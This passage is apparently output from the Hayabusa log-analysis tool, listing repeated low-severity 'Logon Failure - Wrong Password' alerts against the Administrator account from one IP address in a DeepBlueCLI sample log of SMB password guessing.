NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rnb19AXxM5ArcLxX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.359 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EUS5CKq2W1rkq46d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.396 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FzKSUVdsC5eENWDd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.434 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QFL07Mhy4iw5psBq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.486 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cMpitnzLXDLSXL73 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.584 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RSfaPdcsiRQoGYYm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.616 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PJRP4bS9Qgg06Z5P : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.679 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3Z4veMNKngHUDoRf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MmF0YFgAMSRotb1y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.768 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DmrbO3dZw46DgmZQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.805 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Qg4CMwLpfzLrvDPj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.850 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BKDKUXNNhuSqRiTE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cBocrjNXjmuPCKRJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.924 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: loCrAXibgVxcOtCM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.966 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mZ7pHOJeOExrON2E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.006 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MeucKpaodpmdsqhD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LRlmBeBlV6n4MQyo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.080 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E8FYOF6HxJHqm7GW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.122 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9tBtz1GYn5J8sbFH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.160 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Qn8PlxEzIu9AKUgt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.196 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QdjqlNDU3U150UAw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: esaTfuwuiFAkIVs6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.280 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y4LbVQ5ytgVCqFmL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.333 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rWoX76sgYTVwxkD5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.386 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QQFJRRYn6sjYK5cD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wyVuBGEFGJqImQ7W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.468 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pRvnyVGxG8i0e3PQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.520 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: X6Hv2fj43a8j1O2P : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.564 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: myP4zVFyw2qE1SV7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.612 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lpmBcVilH72dYF7E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.643 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Jd9hKGDxLcnZphlL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.684 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5OmXgOD9kaGJ4PIA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BpQtWW0fAEzNH28B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.768 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EgNkY8LKSWcnLM00 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.813 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z8S1dUwb3HjOnEs9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.869 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 49ZKcnswdISJDwbS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.914 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qOuYmww71pTM0l3t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.952 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PUHoGgmXKRJknRZG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.988 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6yf8LSkcwBP9s1mN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.036 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JmH2AMDmkZVbCt8b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.081 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I23o9EQLpPpn9RlY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.125 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MrEVj3DB1prpOtnq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0Iau1IHKxWRsqQaG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NdPC9LVhZS2l27XF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vxcofRpjCFme3mg2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.290 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e1VnQLbETh1GgX0c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.336 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rbdPYXx8mx4SV9G7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.385 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hcv3HWid3auIu7cY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.428 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5o2OviUvdOmk5HON : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.476 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bVBSORhgFwTy2TWO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DsIhCEZcfYenufvf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xDadVFtE4toNiagy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.601 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GnydJjDBdzJWqmWa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.652 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GW8im2IhNzrGoSFs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aTzlqq9HLEX6wzdU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.785 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Gz98aGXd0fdVzmTy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.812 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q2zOy64cp6dXelNl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.858 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: X1BflxNjQRNopjb4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.914 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 401ulFeuzCtp5lPF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:20.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p0SIzJrzkseFB1j8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cyQMxtEdbud8iJLI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7gbjIqxD4E6fYsGx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.084 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rEeZEcj63sBddCsK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.120 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tiATfqYtrH9LoqR0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.169 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PG3HB3GqFwQFLdcq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.216 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: G8NU6WRdrq9DxM6r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.258 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cvZKIkI2aeBzbwe0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2EE7AL3nJ7qsnk4Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.331 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: feu34D0VvoMrnWzo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.369 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mrNRIpCpmAV3npax : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.401 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zpxgEvvoC0stFdTl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.445 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XvpDKRAPDS36sqNL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.496 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4cqJKEIySxiQdCRD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.535 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Pm1F7QEwBE054ui0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RvIjhyfdlXiX72Es : IP Address: 192.168.198.149 : AuthPackage: 